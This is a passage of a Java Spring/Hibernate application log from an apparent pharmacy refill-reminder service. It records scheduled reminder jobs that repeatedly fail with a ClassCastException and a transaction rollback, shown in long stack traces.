org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 